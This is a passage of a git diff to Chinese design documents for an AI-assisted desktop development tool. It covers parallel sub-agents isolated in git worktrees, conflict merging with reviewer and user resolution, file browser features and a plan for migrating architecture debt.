|
||||||
|
|
||||||
|
**核心思路**:用 Git worktree 替代自建暂存区,复用 Git 原生的分支隔离/diff/merge/conflict 能力。
|
||||||
|
|
||||||
|
#### 优势(vs 自建暂存区)
|
||||||
|
|
||||||
|
| 维度 | 自建暂存区 | Git worktree |
|
||||||
|
|------|-----------|-------------|
|
||||||
|
| 隔离 | 手动 cp 文件 | `git worktree add` 天然隔离 |
|
||||||
|
| diff | 自己实现比对 | `git diff` 原生(含上下文/行级/二进制) |
|
||||||
|
| 合并 | 手动 cp 或自写 merge | `git merge` 三方合并 |
|
||||||
|
| 冲突解决 | 自建 diff 展示 | `git merge-tree` 预检 + conflict markers |
|
||||||
|
| 回滚 | 手动备份/恢复 | `git reset` / `git checkout` |
|
||||||
|
| 审计 | 自建日志 | commit history 天然审计链 |
|
||||||
|
| AI 工具兼容 | write_file 需重定向路径 | worktree 就是普通目录,所有工具原样工作 |
|
||||||
|
| PR 集成 | 需额外实现 | plan 分支直接创建 PR |
|
||||||
|
|
||||||
|
#### 数据流
|
||||||
|
|
||||||
|
```
|
||||||
|
Plan 启动:
|
||||||
|
git worktree add .devflow/wt/{plan_id} -b plan/{plan_id}
|
||||||
|
(基于工程当前分支创建 plan 工作分支)
|
||||||
|
|
||||||
|
Layer 0 并行:
|
||||||
|
SubTask A → git worktree add .devflow/wt/{plan_id}/A -b subtask/{plan_id}/A
|
||||||
|
(基于 plan 分支创建,A 的所有工具操作在此 worktree 内,天然隔离)
|
||||||
|
SubTask B → git worktree add .devflow/wt/{plan_id}/B -b subtask/{plan_id}/B
|
||||||
|
(同上,B 完全隔离,A 看不到 B 的改动,反之亦然)
|
||||||
|
SubTask A/B done 后各自 git add + git commit(改动落入各自分支)
|
||||||
|
|
||||||
|
Layer 0 merge(本层全部 done 后):
|
||||||
|
① cd .devflow/wt/{plan_id} (plan 分支)
|
||||||
|
② git diff plan..subtask/{plan_id}/A → A 的改动集
|
||||||
|
③ git diff plan..subtask/{plan_id}/B → B 的改动集
|
||||||
|
④ 同文件交集 → git merge-tree (三方合并预检)
|
||||||
|
无冲突 → git merge subtask/{plan_id}/A && git merge subtask/{plan_id}/B
|
||||||
|
有冲突 → Conflict 表记录 + Reviewer 仲裁 / 用户选择
|
||||||
|
⑤ 合并完成 → plan 分支已含 Layer 0 全部改动
|
||||||
|
|
||||||
|
Layer 1 fork:
|
||||||
|
基于 plan 分支最新 commit 创建新 worktree(天然包含 Layer 0 改动)
|
||||||
|
|
||||||
|
Plan 完成:
|
||||||
|
① 编译检查:在 plan worktree 跑 cargo check / tsc --noEmit
|
||||||
|
失败 → semantic 冲突标记
|
||||||
|
② plan 分支创建 PR(可选,或直接 merge 回主分支)
|
||||||
|
③ git worktree remove 清理所有子 worktree + plan worktree
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 读工具兼容规则
|
||||||
|
|
||||||
|
| 场景 | 行为 |
|
||||||
|
|------|------|
|
||||||
|
| 同层并行 SubTask 互读 | 不可见(独立 worktree + 独立分支) |
|
||||||
|
| 下一层读上一层产出 | 可见(上一层已 merge 到 plan 分支,新 worktree 基于此创建) |
|
||||||
|
| SubTask 读自己 worktree 内的写入 | 可见(worktree 是真实目录,写完即读) |
|
||||||
|
|
||||||
|
#### 非 Git 工程的降级
|
||||||
|
|
||||||
|
未绑定 Git 的工程(无 .git 目录)降级为串行执行(单 SubTask 逐个跑,无 worktree 隔离)。
|
||||||
|
此时 ai_subtasks.branch 为 NULL,Coordinator.dispatch 走原串行路径。
|
||||||
|
|
||||||
|
### 4.3 冲突防护四层防线
|
||||||
|
|
||||||
|
| 防线 | 机制 | 覆盖冲突类型 |
|
||||||
|
|------|------|------------|
|
||||||
|
| **第一层:层间串行 + merge 后才 fork** | 上一层 merge 到 plan 分支后,下一层 worktree 基于此创建 | 跨层同文件覆盖 |
|
||||||
|
| **第二层:同层 worktree 隔离 + merge-tree 预检** | 独立分支 + git 三方合并检测 | 同文件并发写 |
|
||||||
|
| **第三层:编译检查** | merge 完成后在 plan worktree 跑 cargo check / tsc --noEmit,失败 → 标记语义冲突 | 跨文件语义冲突(删函数/改签名) |
|
||||||
|
| **第四层:命令互斥锁** | run_command 对同目录的 npm/cargo 加 mutex | 资源竞争(npm install 并发) |
|
||||||
|
|
||||||
|
### 4.4 Token 预算管控
|
||||||
|
|
||||||
|
```rust
|
||||||
|
struct TokenBudgetPool {
|
||||||
|
total: AtomicU64, // 全局预算(来自设置项)
|
||||||
|
consumed: AtomicU64, // 已消耗
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TokenBudgetPool {
|
||||||
|
fn try_reserve(&self, estimate: u64) -> bool {
|
||||||
|
// CAS 循环:consumed + estimate <= total
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- 每个 SubTask 启动前向预算池申请估算额度
|
||||||
|
- 超限时 Coordinator 拒绝启动新 SubTask(降级为串行顺序执行剩余任务)
|
||||||
|
- 预算来源:设置项 `df-ai-plan-token-budget`(默认 100k tokens)
|
||||||
|
|
||||||
|
### 4.5 错误传播
|
||||||
|
|
||||||
|
| 场景 | 策略 |
|
||||||
|
|------|------|
|
||||||
|
| SubTask 执行失败 | 记录 error 状态,**不中断其他同层 SubTask**(容错) |
|
||||||
|
| 全部 SubTask 失败 | Coordinator 标记 Plan 状态为 error,前端展示错误 |
|
||||||
|
| 部分 SubTask 失败 | merge 时跳过失败 SubTask 的分支(不 merge),只合并成功的 |
|
||||||
|
| 子 Agent 超时 | 单 SubTask 超时(默认 120s)→ 标记 error,不影响其他 |
|
||||||
|
| Git merge 冲突 | conflict markers 保留在 plan worktree,Reviewer Agent 仲裁或用户手动解决 |
|
||||||
|
| 编译检查失败 | 标记 semantic 冲突,Reviewer Agent 尝试修复或标记给用户 |
|
||||||
|
| worktree 创建失败 | 降级为串行(无 worktree 隔离,逐 SubTask 在主目录执行) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、UI 交互设计
|
||||||
|
|
||||||
|
### 5.1 PlanProgress 组件(发送即展示)
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────┐
|
||||||
|
│ 📋 执行计划 2/4 │
|
||||||
|
├─────────────────────────────────────────┤
|
||||||
|
│ Layer 1 │
|
||||||
|
│ ▶ 🔵 [coder] 重构代码 running │
|
||||||
|
│ 🟢 [architect] 分析结构 done │
|
||||||
|
│ ↓ │
|
||||||
|
│ Layer 2 │
|
||||||
|
│ ⏸ [tester] 补测试 pending │
|
||||||
|
│ ↓ │
|
||||||
|
│ Layer 3 │
|
||||||
|
│ ⏸ [reviewer] 审查 pending │
|
||||||
|
└─────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
- **发送即展示**:用户发消息后 Coordinator 分解完成立即展示
|
||||||
|
- **实时更新**:AiSubTaskStatusChanged 驱动节点状态变化
|
||||||
|
- **折叠工具卡**:每个 SubTask 下的工具卡片折叠归组(点击展开)
|
||||||
|
- **层间箭头**:DAG 层级关系可视化
|
||||||
|
|
||||||
|
### 5.2 工具卡片分组(subtask_id 归组)
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─ 🔵 [coder·重构代码] ──────────────┐
|
||||||
|
│ ▸ read_file main.rs ✓ done │
|
||||||
|
│ ▸ patch_file utils.rs ✓ done │
|
||||||
|
└────────────────────────────────────┘
|
||||||
|
┌─ 🟢 [architect·分析结构] ──────────┐
|
||||||
|
│ ▸ list_directory ✓ done │
|
||||||
|
│ ▸ 分析结论: 模块耦合度偏高... │
|
||||||
|
└────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
- 每个 SubTask 一个折叠容器,带 persona 颜色徽章
|
||||||
|
- 工具卡片归入对应 SubTask 容器
|
||||||
|
- 默认折叠,有审批/错误时自动展开
|
||||||
|
|
||||||
|
### 5.3 冲突展示(徽章非阻塞)
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────┐
|
||||||
|
│ ✅ 执行完成 ⚠ 2 处冲突待处理 │
|
||||||
|
├─────────────────────────────────────────┤
|
||||||
|
│ 合并输出: │
|
||||||
|
│ ... │
|
||||||
|
├─────────────────────────────────────────┤
|
||||||
|
│ ⚠ main.rs — Agent A vs Agent B │
|
||||||
|
│ [查看 diff] [接受 A] [接受 B] [手动] │
|
||||||
|
│ ⚠ utils.rs — Agent A vs Agent B │
|
||||||
|
│ [查看 diff] [接受 A] [接受 B] [手动] │
|
||||||
|
└─────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
- 冲突用**徽章**提示,不打断阅读流
|
||||||
|
- 点击展开 diff 对比 + resolution 按钮
|
||||||
|
- reviewer Agent 可自动给出推荐(`resolved_by=reviewer`),用户确认即可
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、取消与中断
|
||||||
|
|
||||||
|
| 操作 | 行为 |
|
||||||
|
|------|------|
|
||||||
|
| 用户点停止 | 停止所有并行 SubTask(整体取消) |
|
||||||
|
| 单 SubTask 超时 | 只标记该 SubTask error,不影响其他 |
|
||||||
|
| 会话切换 | 后台 SubTask 继续执行(F-09 并发语义一致) |
|
||||||
|
| 会话删除 | 所有关联 SubTask 停止 + Plan 标记 error |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、实施分批
|
||||||
|
|
||||||
|
### 数据层 + Git worktree 隔离 + 并行执行
|
||||||
|
|
||||||
|
| # | 任务 | 文件 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | V36 迁移(3 新表 + 2 ALTER + subtasks.branch + conflicts.conflict_type) | migrations.rs |
|
||||||
|
| 2 | PlanRepo / SubTaskRepo / ConflictRepo CRUD | 新 repo 文件 |
|
||||||
|
| 3 | Git worktree 生命周期管理(create/commit/merge/remove) | 新 git_worktree.rs |
|
||||||
|
| 4 | Coordinator.dispatch JoinSet 层内并行(每 SubTask 绑 worktree) | coordinator.rs |
|
||||||
|
| 5 | Token 预算池(AtomicU64 CAS,超限降级串行) | coordinator.rs |
|
||||||
|
| 6 | 子 Agent 独立 ContextManager + fork 快照 + worktree_path | coordinator.rs |
|
||||||
|
| 7 | 层间 merge 到 plan 分支 + 下一层基于 plan 创建 worktree | coordinator.rs |
|
||||||
|
| 8 | 4 个新事件 + 事件双写(emit + publish_event) | AiChatEvent |
|
||||||
|
| 9 | 前端类型定义(PlanRecord/SubTaskRecord/ConflictRecord) | api/types.ts |
|
||||||
|
| 10 | PlanProgress 接入真实状态 + 发送即展示 | PlanProgress.vue |
|
||||||
|
| 11 | 工具卡按 subtask_id 折叠分组 + persona 徽章 | MessageList.vue |
|
||||||
|
| 12 | 编译警告清理(coordinator_plan unused / audit 子模块 unused imports) | 各文件 |
|
||||||
|
|
||||||
|
### 仲裁合并 + 冲突 UI + 编译检查
|
||||||
|
|
||||||
|
| # | 任务 | 文件 |
|
||||||
|
|---|------|------|
|
||||||
|
| 1 | Coordinator.merge: git merge-tree 三方合并预检 | coordinator.rs + git_worktree.rs |
|
||||||
|
| 2 | 冲突检测:同文件路径(file 类型) + 编译失败(semantic 类型) | coordinator.rs |
|
||||||
|
| 3 | Reviewer Agent 仲裁(persona 扩展:读 diff → 推荐 resolution + 理由) | persona.rs |
|
||||||
|
| 4 | 合并产出落回主对话(方案 C:可展开单条) | coordinator.rs + MessageList.vue |
|
||||||
|
| 5 | ConflictResolver.vue(git diff 展示 + resolution 按钮) | 新组件 |
|
||||||
|
| 6 | resolve_conflict IPC + AiConflictResolved 事件闭环 | AiChatEvent |
|
||||||
|
| 7 | 命令互斥锁(run_command 对同目录 npm/cargo 加 mutex) | audit/approval.rs |
|
||||||
|
| 8 | agentic/mod.rs 拆分(2222 行 → 提取 compress/title/knowledge_inject 独立模块) | agentic/*.rs |
|
||||||
|
| 9 | AiChat 进度条补全(后端 AiAgentRound 补 max_rounds + 前端 completed 计数) | AiChat.vue |
|
||||||
|
| 10 | context.rs 拆分(1956 行 → 提取 sanitize/budget/compress 独立模块) | context/*.rs |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 八、子 Agent 上下文隔离
|
||||||
|
|
||||||
|
### 8.1 双重隔离:上下文 + 文件系统
|
||||||
|
|
||||||
|
多 Agent 并行执行时需要两层隔离:
|
||||||
|
|
||||||
|
| 层 | 隔离对象 | 机制 |
|
||||||
|
|---|---------|------|
|
||||||
|
| 上下文隔离 | messages / currentText / tool_results / pending_approvals | 独立 ContextManager 实例 |
|
||||||
|
| 文件隔离 | 工程文件(worktree 内的源码) | Git worktree(见 §4.2) |
|
||||||
|
|
||||||
|
### 8.2 上下文隔离
|
||||||
|
|
||||||
|
```rust
|
||||||
|
struct SubTaskContext {
|
||||||
|
/// 从主对话 fork 的快照(只读父上下文 + 用户原始消息)
|
||||||
|
parent_snapshot: Vec<ChatMessage>,
|
||||||
|
/// 独立的 ContextManager(不写回主对话)
|
||||||
|
messages: ContextManager,
|
||||||
|
/// 分配的人设
|
||||||
|
persona: AgentPersona,
|
||||||
|
/// 子任务 id(产出消息标记 subtask_id)
|
||||||
|
subtask_id: String,
|
||||||
|
/// Git worktree 路径(工具操作的工作目录,见 §4.2)
|
||||||
|
worktree_path: Option<PathBuf>, // None = 非 Git 工程降级串行
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**隔离规则**:
|
||||||
|
|
||||||
|
| 维度 | 主对话 | 子 Agent |
|
||||||
|
|------|--------|----------|
|
||||||
|
| messages | 用户消息 + 合并产出 | fork 快照 + 独立执行轨迹 |
|
||||||
|
| ContextManager | 主对话的 | 每个 SubTask 独立实例 |
|
||||||
|
| pending_approvals | 主对话的 | 各 SubTask 独立(无并发写竞争) |
|
||||||
|
| tool_results | 写入子 Agent 的 messages | 合并时提取摘要写入主对话 |
|
||||||
|
| **文件系统** | 主工程目录 | **Git worktree 隔离**(§4.2) |
|
||||||
|
| **工作目录** | 主工程路径 | **worktree_path**(工具的 cwd 重定向到此) |
|
||||||
|
|
||||||
|
### 8.3 合并产出落回主对话(方案 C:可展开单条)
|
||||||
|
|
||||||
|
```
|
||||||
|
SubTask 完成 → ExecutionResult { output, success }
|
||||||
|
↓
|
||||||
|
Coordinator.merge(results) → MergeResult { merged_output, conflicts }
|
||||||
|
↓
|
||||||
|
主对话 push 单条可展开 assistant 消息
|
||||||
|
```
|
||||||
|
|
||||||
|
**展示策略**:
|
||||||
|
- **默认折叠**:主对话只展示一条 assistant 消息(merged_output 摘要)
|
||||||
|
- **点击展开**:展开后按 SubTask 分组,每组显示完整执行轨迹(从 ai_messages WHERE subtask_id=? 拉取)
|
||||||
|
- **冲突内联**:合并消息底部内联冲突列表(点击展开 diff + resolution 按钮)
|
||||||
|
- **子 Agent 执行轨迹不堆入主对话流**:只在 ai_messages 表保留(带 subtask_id),展开时按需加载
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 九、前端类型定义
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// api/types.ts 新增
|
||||||
|
|
||||||
|
/** Plan 执行状态 */
|
||||||
|
export type PlanStatus = 'planning' | 'executing' | 'merging' | 'done' | 'error'
|
||||||
|
|
||||||
|
/** SubTask 执行状态 */
|
||||||
|
export type SubTaskStatus = 'pending' | 'running' | 'done' | 'error'
|
||||||
|
|
||||||
|
/** 冲突解决状态 */
|
||||||
|
export type ConflictResolution = 'pending' | 'a' | 'b' | 'merged' | 'manual'
|
||||||
|
|
||||||
|
/** Plan 记录 */
|
||||||
|
export interface PlanRecord {
|
||||||
|
id: string
|
||||||
|
conversation_id: ConvId
|
||||||
|
user_message_id: MessageId
|
||||||
|
status: PlanStatus
|
||||||
|
subtask_count: number
|
||||||
|
created_at: string
|
||||||
|
completed_at: string | null
|
||||||
|
}
|
||||||
|
|
||||||
|
/** SubTask 记录 */
|
||||||
|
export interface SubTaskRecord {
|
||||||
|
id: string
|
||||||
|
plan_id: string
|
||||||
|
persona_id: string
|
||||||
|
intent: string
|
||||||
|
status: SubTaskStatus
|
||||||
|
layer: number
|
||||||
|
deps: string[] // JSON 解析后的数组
|
||||||
|
/** Git worktree 分支名(NULL=非 Git 工程降级串行) */
|
||||||
|
branch: string | null
|
||||||
|
created_at: string
|
||||||
|
completed_at: string | null
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 冲突类型 */
|
||||||
|
export type ConflictType = 'file' | 'semantic'
|
||||||
|
|
||||||
|
/** 冲突记录 */
|
||||||
|
export interface ConflictRecord {
|
||||||
|
id: string
|
||||||
|
plan_id: string
|
||||||
|
/** 冲突文件路径(semantic 类型时为触发编译失败的入口文件) */
|
||||||
|
file_path: string
|
||||||
|
/** 冲突类型:file=同文件路径 / semantic=编译失败 */
|
||||||
|
conflict_type: ConflictType
|
||||||
|
subtask_a: string
|
||||||
|
subtask_b: string
|
||||||
|
/** git diff 输出(A 的改动) */
|
||||||
|
diff_a: string
|
||||||
|
/** git diff 输出(B 的改动) */
|
||||||
|
diff_b: string
|
||||||
|
resolution: ConflictResolution
|
||||||
|
resolved_by: 'reviewer' | 'user' | null
|
||||||
|
created_at: string
|
||||||
|
resolved_at: string | null
|
||||||
|
}
|
||||||
|
|
||||||
|
/** PlanProgress 展示用 DAG 层结构 */
|
||||||
|
export interface PlanLayer {
|
||||||
|
items: Array<{
|
||||||
|
id: string
|
||||||
|
persona: string
|
||||||
|
intent: string
|
||||||
|
status: SubTaskStatus
|
||||||
|
}>
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十、状态机
|
||||||
|
|
||||||
|
### 10.1 Plan 状态流转
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> planning: Coordinator.decompose()
|
||||||
|
planning --> executing: Plan 写入 DB + emit AiPlanCreated
|
||||||
|
executing --> merging: 所有 SubTask done/error
|
||||||
|
merging --> done: merge 完成 + 无冲突
|
||||||
|
merging --> done: 所有冲突已解决
|
||||||
|
merging --> error: merge 失败
|
||||||
|
executing --> error: 全部 SubTask 失败
|
||||||
|
done --> [*]
|
||||||
|
error --> [*]
|
||||||
|
```
|
||||||
|
|
||||||
|
### 10.2 SubTask 状态流转
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> pending: Plan.decompose 创建
|
||||||
|
pending --> running: dispatch 分配 + JoinSet 启动
|
||||||
|
running --> done: agentic loop 收敛(无 tool_calls)
|
||||||
|
running --> error: 超时 / 全部工具失败
|
||||||
|
done --> [*]
|
||||||
|
error --> [*]
|
||||||
|
```
|
||||||
|
|
||||||
|
### 10.3 Conflict 状态流转
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
stateDiagram-v2
|
||||||
|
[*] --> pending: merge 检测到冲突
|
||||||
|
pending --> resolved: reviewer 推荐 + 用户确认
|
||||||
|
pending --> resolved: 用户手动选择 a/b/merged
|
||||||
|
resolved --> [*]
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十一、事件总线集成
|
||||||
|
|
||||||
|
4 个新事件均走现有双写机制(`app_handle.emit` + `ai_event_bus.publish_event`),
|
||||||
|
与 AiToolCallStarted/AiCompleted 等关键状态变更事件一致:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let ev = AiChatEvent::AiPlanCreated { ... };
|
||||||
|
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
||||||
|
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
||||||
|
```
|
||||||
|
|
||||||
|
- `emit`:桌面端前端监听
|
||||||
|
- `publish_event`:tunnel subscriber 透传小程序
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十二、不做的方向
|
||||||
|
|
||||||
|
| 方向 | 放弃理由 | 可能的时机 |
|
||||||
|
|------|---------|-----------|
|
||||||
|
| 工具级并行(同轮多 tool_call JoinSet) | 并发写 pending_approvals + LLM 对乱序 tool_result 行为不可预测 | 永不(LLM 已能单轮多 tool_call) |
|
||||||
|
| 单 SubTask 取消 | MVP 简化,整体取消即可 | P1 以后按需 |
|
||||||
|
| 双栏 diff 对比 UI | 违背 AI Native 定位(让用户做 AI 该做的合并) | 永不(reviewer Agent 仲裁替代) |
|
||||||
|
| SubTask 级审批门控 | 审批在工具级(RiskLevel)已足够 | P2 审批政策配置 |
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# 工程系统设计 — 项目多工程 + Git 状态 + 文件浏览
|
# 工程系统设计 — 项目多工程 + Git 状态 + 文件浏览
|
||||||
|
|
||||||
> 创建: 2026-06-29 | 状态: 实施中(Batch 9)
|
> 创建: 2026-06-29 | 状态: ✅ Batch 9-13 已落地(工程表+文件浏览器+Git 状态/变更/提交历史)
|
||||||
> 关联: [项目知识图谱与任务队列系统-2026-06-26.md](./项目知识图谱与任务队列系统-2026-06-26.md) / ARCHITECTURE.md
|
> 关联: [项目知识图谱与任务队列系统-2026-06-26.md](./项目知识图谱与任务队列系统-2026-06-26.md) / ARCHITECTURE.md
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -118,23 +118,41 @@ get_module_file_tree(module_id, sub_path?, depth?) → FileTreeResponse
|
|||||||
|
|
||||||
噪音过滤:跳过 node_modules / target / .git / __pycache__ / dist / .vite。
|
噪音过滤:跳过 node_modules / target / .git / __pycache__ / dist / .vite。
|
||||||
|
|
||||||
### 5.2 UI 结构
|
### 5.2 UI 结构(当前)
|
||||||
|
|
||||||
```
|
```
|
||||||
项目详情页 → 文件 Tab
|
项目详情页 → 文件 Tab
|
||||||
┌──────────────┬──────────────────────────────────┐
|
┌─────────────────────────┬──────────────────────────────────────┐
|
||||||
│ 文件树 │ 文件内容预览 │
|
│ [📁] [📝 3] 视图切换 │ 文件内容预览 │
|
||||||
│ │ │
|
│ ─────────────────────── │ │
|
||||||
│ 📁 src/ │ 1 use std::...; │
|
│ 📁 文件树/变更列表 │ 行号 │ 代码(语法高亮 + 行号) │
|
||||||
│ main.rs M │ 2 fn main() { │
|
│ src/ │ 1 │ use std::...; │
|
||||||
│ config.rs │ 3 println!("hello"); │
|
│ main.rs M │ 2 │ fn main() { │
|
||||||
│ 📁 tests/ │ 4 } │
|
│ config.rs │ 3 │ println!("hello"); │
|
||||||
|
│ tests/ │ 4 │ } │
|
||||||
│ Cargo.toml A │ │
|
│ Cargo.toml A │ │
|
||||||
│ │ main.rs · 2.1 KB · 已修改 │
|
│ │ main.rs · 2.1 KB · 📝 查看变更 │
|
||||||
└──────────────┴──────────────────────────────────┘
|
└─────────────────────────┴──────────────────────────────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
Git 状态标记:M(橙色=已修改) / A(绿色=已新增) / ??(灰色=未跟踪)。
|
**视图切换**: 左侧栏顶部两个图标按钮:
|
||||||
|
- 📁 文件树视图(默认)
|
||||||
|
- 📝 变更视图(带变更数量角标)
|
||||||
|
|
||||||
|
**变更视图**:
|
||||||
|
- 变更文件列表(按状态分组:已修改/已新增/已删除/未跟踪)
|
||||||
|
- 文件按目录深度缩进(src/components/Foo.vue → 缩进 2 层)
|
||||||
|
- 点击文件 → 右侧预览区显示 git diff(红删绿增)
|
||||||
|
- 顶部 Tab 切换至"历史":展示提交历史(每条显示 hash+主题+时间)
|
||||||
|
- 初始 50 条,支持"加载更多"分页
|
||||||
|
- 点击提交行 → 展开该提交的变更文件列表
|
||||||
|
- 点击变更文件 → 展示该文件的 diff
|
||||||
|
|
||||||
|
**内容预览增强**:
|
||||||
|
- 行号列 + highlight.js 语法高亮(按文件后缀自动选语言)
|
||||||
|
- 按后缀彩色图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
|
||||||
|
- Diff 切换按钮(Git 状态不为空时在头部右侧显示 📝)
|
||||||
|
- 滚动条在预览区域内部,不溢出页面层
|
||||||
|
|
||||||
### 5.3 单工程退化
|
### 5.3 单工程退化
|
||||||
|
|
||||||
@@ -187,3 +205,20 @@ create_project 时自动建一个工程:
|
|||||||
| Batch 10 | 文件浏览器 UI(工程选择 + 文件树 + Git 状态标记 + 内容预览) |
|
| Batch 10 | 文件浏览器 UI(工程选择 + 文件树 + Git 状态标记 + 内容预览) |
|
||||||
| Batch 11 | Git 只读 AI 工具(status/diff/log) |
|
| Batch 11 | Git 只读 AI 工具(status/diff/log) |
|
||||||
| Batch 12 | Git 写 AI 工具(commit/branch/merge) |
|
| Batch 12 | Git 写 AI 工具(commit/branch/merge) |
|
||||||
|
| Batch 13 | 文件浏览器增强(行号/图标/Diff/变更面板/窗口分离) |
|
||||||
|
|
||||||
|
### Batch 13 新增功能
|
||||||
|
|
||||||
|
| 功能 | 说明 |
|
||||||
|
|---|---|
|
||||||
|
| 行号显示 | 文件预览左侧显示行号列 |
|
||||||
|
| 后缀图标 | rs/ts/js/vue/css/html 等 20+ 类型彩色 SVG 图标 |
|
||||||
|
| Diff 视图 | 有 Git 变更的文件可切换内容/Diff 红绿视图 |
|
||||||
|
| Git 变更面板 | 文件树侧栏可切换至变更视图,显示变更文件列表(按目录缩进分组) |
|
||||||
|
| 提交历史分页 | 展示最近 50 条提交,支持加载更多(分页) |
|
||||||
|
| 提交详情 | 点击提交行展开变更文件列表,点文件查看 Diff |
|
||||||
|
| 提交时间显示 | 相对时间(刚刚/N分钟前)+超过30天显示具体日期 |
|
||||||
|
| 窗口分离 | 文件浏览器可弹出独立 Tauri 窗口 |
|
||||||
|
| 中文编码修复 | git 命令注入 LANG/LC_ALL UTF-8 环境变量 |
|
||||||
|
| 多工程管理 UI | 工具栏添加工程按钮 + 弹窗表单(名称/路径/Git地址) |
|
||||||
|
| 文件变更自动刷新 | write_file/patch_file 触发 df-data-changed 事件推送 |
|
||||||
|
|||||||
267
docs/02-架构设计/专项设计/架构债迁移设计-2026-06-29.md
Normal file
267
docs/02-架构设计/专项设计/架构债迁移设计-2026-06-29.md
Normal file
@@ -0,0 +1,267 @@
|
|||||||
|
# 架构债迁移设计方案(2026-06-29)
|
||||||
|
|
||||||
|
> 创建: 2026-06-29 | 状态: 设计草案
|
||||||
|
> 关联: [全量走查报告-2026-06-28](../05-代码审查/全量走查报告-2026-06-28.md) §架构缺陷 #4/#6/#8 + SQLite 单连接 #14
|
||||||
|
> 适用范围: 本次推进剩余项 #8/#15/#18/#19 的迁移路径设计
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、概览
|
||||||
|
|
||||||
|
走查报告识别出 4 项架构债,影响可维护性或扩展性。本设计为每项给出**目标架构 + 迁移路径 + 风险评估**,**不在本批次实施代码**(每项都需独立 PR + e2e 验证)。
|
||||||
|
|
||||||
|
| 编号 | 问题 | 风险 | 建议时机 |
|
||||||
|
|------|------|------|---------|
|
||||||
|
| #15 | AI 核心状态机焊死 src-tauri | 高(重构 agentic loop) | Phase 4 之前 |
|
||||||
|
| #8 | IPC 错误拍平为 String | 中(前后端协议改造) | 下个迭代 |
|
||||||
|
| #18 | 配置四源并存 | 中(跨 crate 改读) | 与 #15 协同 |
|
||||||
|
| #19 | SQLite 单连接 Mutex | 中(DB 层基础) | 性能瓶颈出现时 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、#15 — AI 核心状态机抽离
|
||||||
|
|
||||||
|
### 现状
|
||||||
|
|
||||||
|
```
|
||||||
|
src-tauri/src/commands/ai/
|
||||||
|
├── mod.rs ← AiSession / PerConvState / AiChatEvent / SessionState(应属 df-ai)
|
||||||
|
├── agentic/mod.rs ← run_agentic_loop 主循环(应属 df-ai)
|
||||||
|
├── commands.rs ← IPC 层(应留在 src-tauri)
|
||||||
|
├── tool_registry ← 工具注册(IPC 层依赖,留在 src-tauri)
|
||||||
|
└── ...
|
||||||
|
|
||||||
|
crates/df-ai/src/
|
||||||
|
├── provider.rs ← LlmProvider trait(正确)
|
||||||
|
├── openai_compat.rs ← HTTP(正确)
|
||||||
|
├── anthropic_compat.rs← HTTP(正确)
|
||||||
|
├── coordinator.rs ← 空壳(应承担 agentic loop)
|
||||||
|
└── ...
|
||||||
|
```
|
||||||
|
|
||||||
|
### 目标架构
|
||||||
|
|
||||||
|
```
|
||||||
|
crates/df-ai-session/ ← 新 crate(避免 df-ai 引 reqwest 同时引会话状态)
|
||||||
|
├── session.rs ← AiSession / PerConvState / SessionState
|
||||||
|
├── agentic_loop.rs ← run_agentic_loop(纯逻辑,依赖 LlmProvider trait)
|
||||||
|
├── events.rs ← AiChatEvent enum
|
||||||
|
└── approvals.rs ← PendingApproval / ApprovalKind
|
||||||
|
|
||||||
|
src-tauri/src/commands/ai/
|
||||||
|
├── mod.rs ← 仅 IPC glue(invoke_handler 注册 + AppState 转发)
|
||||||
|
├── commands.rs ← ai_send_message / ai_approve / ai_reject
|
||||||
|
└── tool_registry.rs ← 工具注册(仍依赖 df-storage / df-types)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 迁移路径(4 阶段)
|
||||||
|
|
||||||
|
**阶段 1**:创建 `df-ai-session` crate,仅迁移类型定义(`AiSession` / `AiChatEvent` 等),不改逻辑。src-tauri 改为 re-export。
|
||||||
|
|
||||||
|
**阶段 2**:迁移 `run_agentic_loop` 函数体。保持现有调用方接口不变(`pub async fn run_agentic_loop(...)`),仅改归属。
|
||||||
|
|
||||||
|
**阶段 3**:把 tool_registry 中的工具注册逻辑拆分为「工具定义」(可迁移)和「工具 handler」(依赖 IPC 层,保留)。
|
||||||
|
|
||||||
|
**阶段 4**:src-tauri 仅保留 IPC glue,所有 AI 状态机测试可在 df-ai-session 独立运行。
|
||||||
|
|
||||||
|
### 风险
|
||||||
|
|
||||||
|
